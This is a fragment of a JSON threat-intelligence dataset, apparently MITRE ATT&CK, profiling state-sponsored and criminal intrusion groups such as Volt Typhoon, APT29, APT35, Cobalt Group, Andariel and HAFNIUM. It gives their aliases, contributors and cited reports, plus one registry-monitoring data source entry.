                    "description": "Microsoft Threat Intelligence. (2023, May 24). Volt Typhoon targets US critical infrastructure with living-off-the-land techniques. Retrieved July 27, 2023.",
                    "url": "https://www.microsoft.com/en-us/security/blog/2023/05/24/volt-typhoon-targets-us-critical-infrastructure-with-living-off-the-land-techniques/"
                },
                {
                    "source_name": "Joint Cybersecurity Advisory Volt Typhoon June 2023",
                    "description": "NSA et al. (2023, May 24). People's Republic of China State-Sponsored Cyber Actor Living off the Land to Evade Detection. Retrieved July 27, 2023.",
                    "url": "https://media.defense.gov/2023/May/24/2003229517/-1/-1/0/CSA_Living_off_the_Land.PDF"
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            "modified": "2025-04-30T13:27:45.018Z",
            "name": "Volt Typhoon",
            "description": "[Volt Typhoon](https://attack.mitre.org/groups/G1017) is a People's Republic of China (PRC) state-sponsored actor that has been active since at least 2021 primarily targeting critical infrastructure organizations in the US and its territories including Guam. [Volt Typhoon](https://attack.mitre.org/groups/G1017)'s targeting and pattern of behavior have been assessed as pre-positioning to enable lateral movement to operational technology (OT) assets for potential destructive or disruptive attacks. [Volt Typhoon](https://attack.mitre.org/groups/G1017) has emphasized stealth in operations using web shells, living-off-the-land (LOTL) binaries, hands on keyboard activities, and stolen credentials.(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)(Citation: Microsoft Volt Typhoon May 2023)(Citation: Joint Cybersecurity Advisory Volt Typhoon June 2023)(Citation: Secureworks BRONZE SILHOUETTE May 2023)",
            "aliases": [
                "Volt Typhoon",
                "BRONZE SILHOUETTE",
                "Vanguard Panda",
                "DEV-0391",
                "UNC3236",
                "Voltzite",
                "Insidious Taurus"
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            "x_mitre_contributors": [
                "Ai Kimura, NEC Corporation",
                "Manikantan Srinivasan, NEC Corporation India",
                "Phyo Paing Htun (ChiLai), I-Secure Co.,Ltd",
                "Pooja Natarajan, NEC Corporation India",
                "Vlad Shumaher, Palo Alto Networks"
            ],
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            "spec_version": "2.1",
            "id": "intrusion-set--32bca8ff-d900-4877-aa65-d70baa041b74",
            "created": "2018-10-17T00:14:20.652Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0077",
                    "external_id": "G0077"
                },
                {
                    "source_name": "Raspite",
                    "description": "(Citation: Dragos Raspite Aug 2018)"
                },
                {
                    "source_name": "Leafminer",
                    "description": "(Citation: Symantec Leafminer July 2018)"
                },
                {
                    "source_name": "Dragos Raspite Aug 2018",
                    "description": "Dragos, Inc. (2018, August 2). RASPITE. Retrieved November 26, 2018.",
                    "url": "https://www.dragos.com/blog/20180802Raspite.html"
                },
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                    "source_name": "Symantec Leafminer July 2018",
                    "description": "Symantec Security Response. (2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. Retrieved August 28, 2018.",
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            "modified": "2025-04-16T20:37:33.912Z",
            "name": "Leafminer",
            "description": "[Leafminer](https://attack.mitre.org/groups/G0077) is an Iranian threat group that has targeted government organizations and business entities in the Middle East since at least early 2017. (Citation: Symantec Leafminer July 2018)",
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                "Leafminer",
                "Raspite"
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            "modified": "2024-11-17T16:17:26.385Z",
            "name": "Magic Hound",
            "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) is an Iranian-sponsored threat group that conducts long term, resource-intensive cyber espionage operations, likely on behalf of the Islamic Revolutionary Guard Corps. They have targeted European, U.S., and Middle Eastern government and military personnel, academics, journalists, and organizations such as the World Health Organization (WHO), via complex social engineering campaigns since at least 2014.(Citation: FireEye APT35 2018)(Citation: ClearSky Kittens Back 3 August 2020)(Citation: Certfa Charming Kitten January 2021)(Citation: Secureworks COBALT ILLUSION Threat Profile)(Citation: Proofpoint TA453 July2021)",
            "aliases": [
                "Magic Hound",
                "TA453",
                "COBALT ILLUSION",
                "Charming Kitten",
                "ITG18",
                "Phosphorus",
                "Newscaster",
                "APT35",
                "Mint Sandstorm"
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            "x_mitre_deprecated": false,
            "x_mitre_version": "6.1",
            "x_mitre_contributors": [
                "Anastasios Pingios",
                "Bryan Lee",
                "Daniyal Naeem, BT Security"
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            "type": "intrusion-set",
            "spec_version": "2.1",
            "id": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13",
            "created": "2018-01-16T16:13:52.465Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0059",
                    "external_id": "G0059"
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                {
                    "source_name": "Charming Kitten",
                    "description": "(Citation: ClearSky Charming Kitten Dec 2017)(Citation: Eweek Newscaster and Charming Kitten May 2014)(Citation: ClearSky Kittens Back 2 Oct 2019)(Citation: ClearSky Kittens Back 3 August 2020)(Citation: Proofpoint TA453 March 2021)(Citation: Check Point APT35 CharmPower January 2022)"
                },
                {
                    "source_name": "APT35",
                    "description": "(Citation: FireEye APT35 2018)(Citation: Certfa Charming Kitten January 2021)(Citation: Check Point APT35 CharmPower January 2022)"
                },
                {
                    "source_name": "ITG18",
                    "description": "(Citation: IBM ITG18 2020)"
                },
                {
                    "source_name": "Phosphorus",
                    "description": "(Citation: Microsoft Phosphorus Mar 2019)(Citation: Microsoft Phosphorus Oct 2020)(Citation: US District Court of DC Phosphorus Complaint 2019)(Citation: Certfa Charming Kitten January 2021)(Citation: Proofpoint TA453 March 2021)(Citation: Check Point APT35 CharmPower January 2022)"
                },
                {
                    "source_name": "Mint Sandstorm",
                    "description": "(Citation: Microsoft Threat Actor Naming July 2023)"
                },
                {
                    "source_name": "TA453",
                    "description": "(Citation: Proofpoint TA453 March 2021)(Citation: Proofpoint TA453 July2021)(Citation: Check Point APT35 CharmPower January 2022)"
                },
                {
                    "source_name": "COBALT ILLUSION",
                    "description": "(Citation: Secureworks COBALT ILLUSION Threat Profile)"
                },
                {
                    "source_name": "Magic Hound",
                    "description": "(Citation: Unit 42 Magic Hound Feb 2017)"
                },
                {
                    "source_name": "Microsoft Phosphorus Mar 2019",
                    "description": "Burt, T. (2019, March 27). New steps to protect customers from hacking. Retrieved May 27, 2020.",
                    "url": "https://blogs.microsoft.com/on-the-issues/2019/03/27/new-steps-to-protect-customers-from-hacking/"
                },
                {
                    "source_name": "Microsoft Phosphorus Oct 2020",
                    "description": "Burt, T. (2020, October 28). Cyberattacks target international conference attendees. Retrieved March 8, 2021.",
                    "url": "https://blogs.microsoft.com/on-the-issues/2020/10/28/cyberattacks-phosphorus-t20-munich-security-conference/"
                },
                {
                    "source_name": "Certfa Charming Kitten January 2021",
                    "description": "Certfa Labs. (2021, January 8). Charming Kitten\u2019s Christmas Gift. Retrieved May 3, 2021.",
                    "url": "https://blog.certfa.com/posts/charming-kitten-christmas-gift/"
                },
                {
                    "source_name": "Check Point APT35 CharmPower January 2022",
                    "description": "Check Point. (2022, January 11). APT35 exploits Log4j vulnerability to distribute new modular PowerShell toolkit. Retrieved January 24, 2022.",
                    "url": "https://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/"
                },
                {
                    "source_name": "ClearSky Charming Kitten Dec 2017",
                    "description": "ClearSky Cyber Security. (2017, December). Charming Kitten. Retrieved December 27, 2017.",
                    "url": "http://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf"
                },
                {
                    "source_name": "ClearSky Kittens Back 2 Oct 2019",
                    "description": "ClearSky Research Team. (2019, October 1). The Kittens Are Back in Town2 - Charming Kitten Campaign KeepsGoing on, Using New Impersonation Methods. Retrieved April 21, 2021.",
                    "url": "https://www.clearskysec.com/wp-content/uploads/2019/10/The-Kittens-Are-Back-in-Town-2-1.pdf"
                },
                {
                    "source_name": "ClearSky Kittens Back 3 August 2020",
                    "description": "ClearSky Research Team. (2020, August 1). The Kittens Are Back in Town 3 - Charming Kitten Campaign Evolved and Deploying Spear-Phishing link by WhatsApp. Retrieved April 21, 2021.",
                    "url": "https://www.clearskysec.com/wp-content/uploads/2020/08/The-Kittens-are-Back-in-Town-3.pdf"
                },
                {
                    "source_name": "Eweek Newscaster and Charming Kitten May 2014",
                    "description": "Kerner, S. (2014, May 29). Newscaster Threat Uses Social Media for Intelligence Gathering. Retrieved April 14, 2021.",
                    "url": "https://www.eweek.com/security/newscaster-threat-uses-social-media-for-intelligence-gathering"
                },
                {
                    "source_name": "Unit 42 Magic Hound Feb 2017",
                    "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"
                },
                {
                    "source_name": "Newscaster",
                    "description": "Link analysis of infrastructure and tools revealed a potential relationship between Magic Hound and the older attack campaign called Newscaster (aka Newscasters).(Citation: Unit 42 Magic Hound Feb 2017)(Citation: FireEye APT35 2018)"
                },
                {
                    "source_name": "FireEye APT35 2018",
                    "description": "Mandiant. (2018). Mandiant M-Trends 2018. Retrieved November 17, 2024.",
                    "url": "https://static.carahsoft.com/concrete/files/1015/2779/3571/M-Trends-2018-Report.pdf"
                },
                {
                    "source_name": "Microsoft Threat Actor Naming July 2023",
                    "description": "Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.",
                    "url": "https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide"
                },
                {
                    "source_name": "Proofpoint TA453 July2021",
                    "description": "Miller, J. et al. (2021, July 13). Operation SpoofedScholars: A Conversation with TA453. Retrieved August 18, 2021.",
                    "url": "https://www.proofpoint.com/us/blog/threat-insight/operation-spoofedscholars-conversation-ta453"
                },
                {
                    "source_name": "Proofpoint TA453 March 2021",
                    "description": "Miller, J. et al. (2021, March 30). BadBlood: TA453 Targets US and Israeli Medical Research Personnel in Credential Phishing Campaigns. Retrieved May 4, 2021.",
                    "url": "https://www.proofpoint.com/us/blog/threat-insight/badblood-ta453-targets-us-and-israeli-medical-research-personnel-credential"
                },
                {
                    "source_name": "Secureworks COBALT ILLUSION Threat Profile",
                    "description": "Secureworks. (n.d.). COBALT ILLUSION Threat Profile. Retrieved April 14, 2021.",
                    "url": "https://www.secureworks.com/research/threat-profiles/cobalt-illusion"
                },
                {
                    "source_name": "US District Court of DC Phosphorus Complaint 2019",
                    "description": "US District Court of DC. (2019, March 14). MICROSOFT CORPORATION v. JOHN DOES 1-2, CONTROLLING A COMPUTER NETWORK AND THEREBY INJURING PLAINTIFF AND ITS CUSTOMERS. Retrieved March 8, 2021.",
                    "url": "https://noticeofpleadings.com/phosphorus/files/Complaint.pdf"
                },
                {
                    "source_name": "IBM ITG18 2020",
                    "description": "Wikoff, A. Emerson, R. (2020, July 16). New Research Exposes Iranian Threat Group Operations. Retrieved March 8, 2021.",
                    "url": "https://securityintelligence.com/posts/new-research-exposes-iranian-threat-group-operations/"
                }
            ],
            "object_marking_refs": [
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            "modified": "2025-04-04T17:07:43.344Z",
            "name": "APT29",
            "description": "[APT29](https://attack.mitre.org/groups/G0016) is threat group that has been attributed to Russia's Foreign Intelligence Service (SVR).(Citation: White House Imposing Costs RU Gov April 2021)(Citation: UK Gov Malign RIS Activity April 2021) They have operated since at least 2008, often targeting government networks in Europe and NATO member countries, research institutes, and think tanks. [APT29](https://attack.mitre.org/groups/G0016) reportedly compromised the Democratic National Committee starting in the summer of 2015.(Citation: F-Secure The Dukes)(Citation: GRIZZLY STEPPE JAR)(Citation: Crowdstrike DNC June 2016)(Citation: UK Gov UK Exposes Russia SolarWinds April 2021)\n\nIn April 2021, the US and UK governments attributed the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024) to the SVR; public statements included citations to [APT29](https://attack.mitre.org/groups/G0016), Cozy Bear, and The Dukes.(Citation: NSA Joint Advisory SVR SolarWinds April 2021)(Citation: UK NSCS Russia SolarWinds April 2021) Industry reporting also referred to the actors involved in this campaign as UNC2452, NOBELIUM, StellarParticle, Dark Halo, and SolarStorm.(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: MSTIC NOBELIUM Mar 2021)(Citation: CrowdStrike SUNSPOT Implant January 2021)(Citation: Volexity SolarWinds)(Citation: Cybersecurity Advisory SVR TTP May 2021)(Citation: Unit 42 SolarStorm December 2020)",
            "aliases": [
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                "IRON RITUAL",
                "IRON HEMLOCK",
                "NobleBaron",
                "Dark Halo",
                "NOBELIUM",
                "UNC2452",
                "YTTRIUM",
                "The Dukes",
                "Cozy Bear",
                "CozyDuke",
                "SolarStorm",
                "Blue Kitsune",
                "UNC3524",
                "Midnight Blizzard"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_version": "6.2",
            "x_mitre_contributors": [
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                "Matt Brenton, Zurich Insurance Group",
                "Katie Nickels, Red Canary",
                "Joe Gumke, U.S. Bank",
                "Liran Ravich, CardinalOps",
                "Vicky Ray, RayvenX"
            ],
            "type": "intrusion-set",
            "spec_version": "2.1",
            "id": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
            "created": "2017-05-31T21:31:52.748Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0016",
                    "external_id": "G0016"
                },
                {
                    "source_name": "CozyDuke",
                    "description": "(Citation: Crowdstrike DNC June 2016)"
                },
                {
                    "source_name": "Cozy Bear",
                    "description": "(Citation: Crowdstrike DNC June 2016)(Citation: ESET Dukes October 2019)(Citation: NCSC APT29 July 2020)(Citation: Cybersecurity Advisory SVR TTP May 2021)(Citation: CrowdStrike StellarParticle January 2022)"
                },
                {
                    "source_name": "The Dukes",
                    "description": "(Citation: F-Secure The Dukes)(Citation: ESET Dukes October 2019)(Citation: NCSC APT29 July 2020)(Citation: Cybersecurity Advisory SVR TTP May 2021)"
                },
                {
                    "source_name": "APT29",
                    "description": "(Citation: F-Secure The Dukes)(Citation: FireEye APT29 Nov 2018)(Citation: ESET Dukes October 2019)(Citation: NCSC APT29 July 2020)(Citation: Cybersecurity Advisory SVR TTP May 2021)"
                },
                {
                    "source_name": "UNC2452",
                    "description": "(Citation: FireEye SUNBURST Backdoor December 2020)"
                },
                {
                    "source_name": "UNC3524",
                    "description": "(Citation: Mandiant APT29 Eye Spy Email Nov 22)"
                },
                {
                    "source_name": "Midnight Blizzard",
                    "description": "(Citation: Microsoft Threat Actor Naming July 2023)"
                },
                {
                    "source_name": "YTTRIUM",
                    "description": "(Citation: Microsoft Unidentified Dec 2018)"
                },
                {
                    "source_name": "NOBELIUM",
                    "description": "(Citation: MSTIC NOBELIUM Mar 2021)(Citation: MSTIC NOBELIUM May 2021)(Citation: MSTIC Nobelium Toolset May 2021)(Citation: MSRC Nobelium June 2021)"
                },
                {
                    "source_name": "Blue Kitsune",
                    "description": "(Citation: PWC WellMess July 2020)(Citation: PWC WellMess C2 August 2020)"
                },
                {
                    "source_name": "IRON HEMLOCK",
                    "description": "(Citation: Secureworks IRON HEMLOCK Profile)"
                },
                {
                    "source_name": "IRON RITUAL",
                    "description": "(Citation: Secureworks IRON RITUAL Profile)"
                },
                {
                    "source_name": "NobleBaron",
                    "description": "(Citation: SentinelOne NobleBaron June 2021)"
                },
                {
                    "source_name": "SolarStorm",
                    "description": "(Citation: Unit 42 SolarStorm December 2020)"
                },
                {
                    "source_name": "Dark Halo",
                    "description": "(Citation: Volexity SolarWinds)"
                },
                {
                    "source_name": "Crowdstrike DNC June 2016",
                    "description": "Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016.",
                    "url": "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/"
                },
                {
                    "source_name": "Volexity SolarWinds",
                    "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020.",
                    "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/"
                },
                {
                    "source_name": "CrowdStrike SUNSPOT Implant January 2021",
                    "description": "CrowdStrike Intelligence Team. (2021, January 11). SUNSPOT: An Implant in the Build Process. Retrieved January 11, 2021.",
                    "url": "https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/"
                },
                {
                    "source_name": "CrowdStrike StellarParticle January 2022",
                    "description": "CrowdStrike. (2022, January 27). Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign. Retrieved February 7, 2022.",
                    "url": "https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/"
                },
                {
                    "source_name": "GRIZZLY STEPPE JAR",
                    "description": "Department of Homeland Security and Federal Bureau of Investigation. (2016, December 29). GRIZZLY STEPPE \u2013 Russian Malicious Cyber Activity. Retrieved January 11, 2017.",
                    "url": "https://www.us-cert.gov/sites/default/files/publications/JAR_16-20296A_GRIZZLY%20STEPPE-2016-1229.pdf"
                },
                {
                    "source_name": "FireEye APT29 Nov 2018",
                    "description": "Dunwoody, M., et al. (2018, November 19). Not So Cozy: An Uncomfortable Examination of a Suspected APT29 Phishing Campaign. Retrieved November 27, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html"
                },
                {
                    "source_name": "F-Secure The Dukes",
                    "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.",
                    "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"
                },
                {
                    "source_name": "ESET Dukes October 2019",
                    "description": "Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf"
                },
                {
                    "source_name": "FireEye SUNBURST Backdoor December 2020",
                    "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021.",
                    "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html"
                },
                {
                    "source_name": "SentinelOne NobleBaron June 2021",
                    "description": "Guerrero-Saade, J. (2021, June 1). NobleBaron | New Poisoned Installers Could Be Used In Supply Chain Attacks. Retrieved August 4, 2021.",
                    "url": "https://labs.sentinelone.com/noblebaron-new-poisoned-installers-could-be-used-in-supply-chain-attacks/"
                },
                {
                    "source_name": "Mandiant APT29 Eye Spy Email Nov 22",
                    "description": "Mandiant. (2022, May 2). UNC3524: Eye Spy on Your Email. Retrieved August 17, 2023.",
                    "url": "https://www.mandiant.com/resources/blog/unc3524-eye-spy-email"
                },
                {
                    "source_name": "Microsoft Threat Actor Naming July 2023",
                    "description": "Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.",
                    "url": "https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide"
                },
                {
                    "source_name": "Microsoft Unidentified Dec 2018",
                    "description": "Microsoft Defender Research Team. (2018, December 3). Analysis of cyberattack on U.S. think tanks, non-profits, public sector by unidentified attackers. Retrieved April 15, 2019.",
                    "url": "https://www.microsoft.com/security/blog/2018/12/03/analysis-of-cyberattack-on-u-s-think-tanks-non-profits-public-sector-by-unidentified-attackers/"
                },
                {
                    "source_name": "MSTIC NOBELIUM May 2021",
                    "description": "Microsoft Threat Intelligence Center (MSTIC). (2021, May 27). New sophisticated email-based attack from NOBELIUM. Retrieved May 28, 2021.",
                    "url": "https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/"
                },
                {
                    "source_name": "MSRC Nobelium June 2021",
                    "description": "MSRC. (2021, June 25). New Nobelium activity. Retrieved August 4, 2021.",
                    "url": "https://msrc-blog.microsoft.com/2021/06/25/new-nobelium-activity/"
                },
                {
                    "source_name": "MSTIC Nobelium Toolset May 2021",
                    "description": "MSTIC. (2021, May 28). Breaking down NOBELIUM\u2019s latest early-stage toolset. Retrieved August 4, 2021.",
                    "url": "https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/"
                },
                {
                    "source_name": "MSTIC NOBELIUM Mar 2021",
                    "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021.",
                    "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/"
                },
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                    "source_name": "NCSC APT29 July 2020",
                    "description": "National Cyber Security Centre. (2020, July 16). Advisory: APT29 targets COVID-19 vaccine development. Retrieved September 29, 2020.",
                    "url": "https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development-V1-1.pdf"
                },
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                    "source_name": "Cybersecurity Advisory SVR TTP May 2021",
                    "description": "NCSC, CISA, FBI, NSA. (2021, May 7). Further TTPs associated with SVR cyber actors. Retrieved July 29, 2021.",
                    "url": "https://www.ncsc.gov.uk/files/Advisory-further-TTPs-associated-with-SVR-cyber-actors.pdf"
                },
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                    "source_name": "NSA Joint Advisory SVR SolarWinds April 2021",
                    "description": "NSA, FBI, DHS. (2021, April 15). Russian SVR Targets U.S. and Allied Networks. Retrieved April 16, 2021.",
                    "url": "https://media.defense.gov/2021/Apr/15/2002621240/-1/-1/0/CSA_SVR_TARGETS_US_ALLIES_UOO13234021.PDF/CSA_SVR_TARGETS_US_ALLIES_UOO13234021.PDF"
                },
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                    "source_name": "PWC WellMess C2 August 2020",
                    "description": "PWC. (2020, August 17). WellMess malware: analysis of its Command and Control (C2) server. Retrieved September 29, 2020.",
                    "url": "https://www.pwc.co.uk/issues/cyber-security-services/insights/wellmess-analysis-command-control.html"
                },
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                    "source_name": "PWC WellMess July 2020",
                    "description": "PWC. (2020, July 16). How WellMess malware has been used to target COVID-19 vaccines. Retrieved September 24, 2020.",
                    "url": "https://www.pwc.co.uk/issues/cyber-security-services/insights/cleaning-up-after-wellmess.html"
                },
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                    "source_name": "Secureworks IRON HEMLOCK Profile",
                    "description": "Secureworks CTU. (n.d.). IRON HEMLOCK. Retrieved February 22, 2022.",
                    "url": "http://www.secureworks.com/research/threat-profiles/iron-hemlock"
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                    "source_name": "Secureworks IRON RITUAL Profile",
                    "description": "Secureworks CTU. (n.d.). IRON RITUAL. Retrieved February 24, 2022.",
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                    "source_name": "White House Imposing Costs RU Gov April 2021",
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                },
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                    "description": "CTU. (2018, September 27). Cybercriminals Increasingly Trying to Ensnare the Big Financial Fish. Retrieved September 20, 2021.",
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                    "description": "Klijnsma, Y.. (2017, November 28). Gaffe Reveals Full List of Targets in Spear Phishing Attack Using Cobalt Strike Against Financial Institutions. Retrieved October 10, 2018.",
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                    "source_name": "PTSecurity Cobalt Dec 2016",
                    "description": "Positive Technologies. (2016, December 16). Cobalt Snatch. Retrieved October 9, 2018.",
                    "url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf"
                },
                {
                    "source_name": "PTSecurity Cobalt Group Aug 2017",
                    "description": "Positive Technologies. (2017, August 16). Cobalt Strikes Back: An Evolving Multinational Threat to Finance. Retrieved September 5, 2018.",
                    "url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-2017-eng.pdf"
                },
                {
                    "source_name": "Talos Cobalt Group July 2018",
                    "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.",
                    "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html"
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            "modified": "2025-04-16T20:37:34.214Z",
            "name": "Cobalt Group",
            "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) is a financially motivated threat group that has primarily targeted financial institutions since at least 2016. The group has conducted intrusions to steal money via targeting ATM systems, card processing, payment systems and SWIFT systems. [Cobalt Group](https://attack.mitre.org/groups/G0080) has mainly targeted banks in Eastern Europe, Central Asia, and Southeast Asia. One of the alleged leaders was arrested in Spain in early 2018, but the group still appears to be active. The group has been known to target organizations in order to use their access to then compromise additional victims.(Citation: Talos Cobalt Group July 2018)(Citation: PTSecurity Cobalt Group Aug 2017)(Citation: PTSecurity Cobalt Dec 2016)(Citation: Group IB Cobalt Aug 2017)(Citation: Proofpoint Cobalt June 2017)(Citation: RiskIQ Cobalt Nov 2017)(Citation: RiskIQ Cobalt Jan 2018) Reporting indicates there may be links between [Cobalt Group](https://attack.mitre.org/groups/G0080) and both the malware [Carbanak](https://attack.mitre.org/software/S0030) and the group [Carbanak](https://attack.mitre.org/groups/G0008).(Citation: Europol Cobalt Mar 2018)",
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                "Cobalt Group",
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            "name": "Windows Registry Key Creation",
            "description": "Initial construction of a new registry key within the Windows operating system. \n\n*Data Collection Measures:* \n\n- Windows Event Logs\n    - Event ID 4656 - Registry Object Handle Requested: Tracks registry key access, including newly created keys.\n    - Event ID 4657 - Registry Value Modification: Detects modifications to an existing registry key after creation.\n- Sysmon (System Monitor) for Windows\n    - Sysmon Event ID 12 - Registry Key Created: Logs when a new registry key is created.\n",
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            "name": "Andariel",
            "description": "[Andariel](https://attack.mitre.org/groups/G0138) is a North Korean state-sponsored threat group that has been active since at least 2009. [Andariel](https://attack.mitre.org/groups/G0138) has primarily focused its operations--which have included destructive attacks--against South Korean government agencies, military organizations, and a variety of domestic companies; they have also conducted cyber financial operations against ATMs, banks, and cryptocurrency exchanges. [Andariel](https://attack.mitre.org/groups/G0138)'s notable activity includes Operation Black Mine, Operation GoldenAxe, and Campaign Rifle.(Citation: FSI Andariel Campaign Rifle July 2017)(Citation: IssueMakersLab Andariel GoldenAxe May 2017)(Citation: AhnLab Andariel Subgroup of Lazarus June 2018)(Citation: TrendMicro New Andariel Tactics July 2018)(Citation: CrowdStrike Silent Chollima Adversary September 2021)\n\n[Andariel](https://attack.mitre.org/groups/G0138) is considered a sub-set of [Lazarus Group](https://attack.mitre.org/groups/G0032), and has been attributed to North Korea's Reconnaissance General Bureau.(Citation: Treasury North Korean Cyber Groups September 2019)\n\nNorth Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups.",
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                    "source_name": "Silent Chollima",
                    "description": "(Citation: CrowdStrike Silent Chollima Adversary September 2021)"
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                    "source_name": "Andariel",
                    "description": "(Citation: FSI Andariel Campaign Rifle July 2017)"
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                {
                    "source_name": "PLUTONIUM",
                    "description": "(Citation: Microsoft Threat Actor Naming July 2023)"
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                {
                    "source_name": "Onyx Sleet",
                    "description": "(Citation: Microsoft Threat Actor Naming July 2023)"
                },
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                    "source_name": "AhnLab Andariel Subgroup of Lazarus June 2018",
                    "description": "AhnLab. (2018, June 23). Targeted attacks by Andariel Threat Group,  a subgroup of the Lazarus. Retrieved September 29, 2021.",
                    "url": "https://web.archive.org/web/20230213154832/http://download.ahnlab.com/global/brochure/%5BAnalysis%5DAndariel_Group.pdf"
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                {
                    "source_name": "TrendMicro New Andariel Tactics July 2018",
                    "description": "Chen, Joseph. (2018, July 16). New Andariel Reconnaissance Tactics Uncovered. Retrieved September 29, 2021.",
                    "url": "https://www.trendmicro.com/en_us/research/18/g/new-andariel-reconnaissance-tactics-hint-at-next-targets.html"
                },
                {
                    "source_name": "CrowdStrike Silent Chollima Adversary September 2021",
                    "description": "CrowdStrike. (2021, September 29). Silent Chollima Adversary Profile. Retrieved September 29, 2021.",
                    "url": "https://adversary.crowdstrike.com/en-US/adversary/silent-chollima/"
                },
                {
                    "source_name": "FSI Andariel Campaign Rifle July 2017",
                    "description": "FSI. (2017, July 27). Campaign Rifle - Andariel, the Maiden of Anguish. Retrieved September 12, 2024.",
                    "url": "https://fsiceat.tistory.com/2"
                },
                {
                    "source_name": "IssueMakersLab Andariel GoldenAxe May 2017",
                    "description": "IssueMakersLab. (2017, May 1). Operation GoldenAxe. Retrieved September 12, 2024.",
                    "url": "http://www.issuemakerslab.com/research3/"
                },
                {
                    "source_name": "Microsoft Threat Actor Naming July 2023",
                    "description": "Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.",
                    "url": "https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide"
                },
                {
                    "source_name": "Treasury North Korean Cyber Groups September 2019",
                    "description": "US Treasury . (2019, September 13). Treasury Sanctions North Korean State-Sponsored Malicious Cyber Groups. Retrieved September 29, 2021.",
                    "url": "https://home.treasury.gov/news/press-releases/sm774"
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            "modified": "2025-03-25T18:04:13.368Z",
            "name": "HAFNIUM",
            "description": "[HAFNIUM](https://attack.mitre.org/groups/G0125) is a likely state-sponsored cyber espionage group operating out of China that has been active since at least January 2021. [HAFNIUM](https://attack.mitre.org/groups/G0125) primarily targets entities in the US across a number of industry sectors, including infectious disease researchers, law firms, higher education institutions, defense contractors, policy think tanks, and NGOs. [HAFNIUM](https://attack.mitre.org/groups/G0125) has targeted remote management tools and cloud software for intial access and has demonstrated an ability to quickly operationalize exploits for identified vulnerabilities in edge devices.(Citation: Microsoft HAFNIUM March 2020)(Citation: Volexity Exchange Marauder March 2021)(Citation: Microsoft Silk Typhoon MAR 2025)",
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                "Operation Exchange Marauder",
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                "Vinayak Wadhwa, SAFE Security"
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                    "url": "https://attack.mitre.org/groups/G0125",
                    "external_id": "G0125"
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                {
                    "source_name": "Silk Typhoon",
                    "description": "(Citation: Microsoft Threat Actor Naming July 2023)(Citation: Microsoft Silk Typhoon MAR 2025)"
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                {
                    "source_name": "Operation Exchange Marauder",
                    "description": "(Citation: Volexity Exchange Marauder March 2021)"
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                {
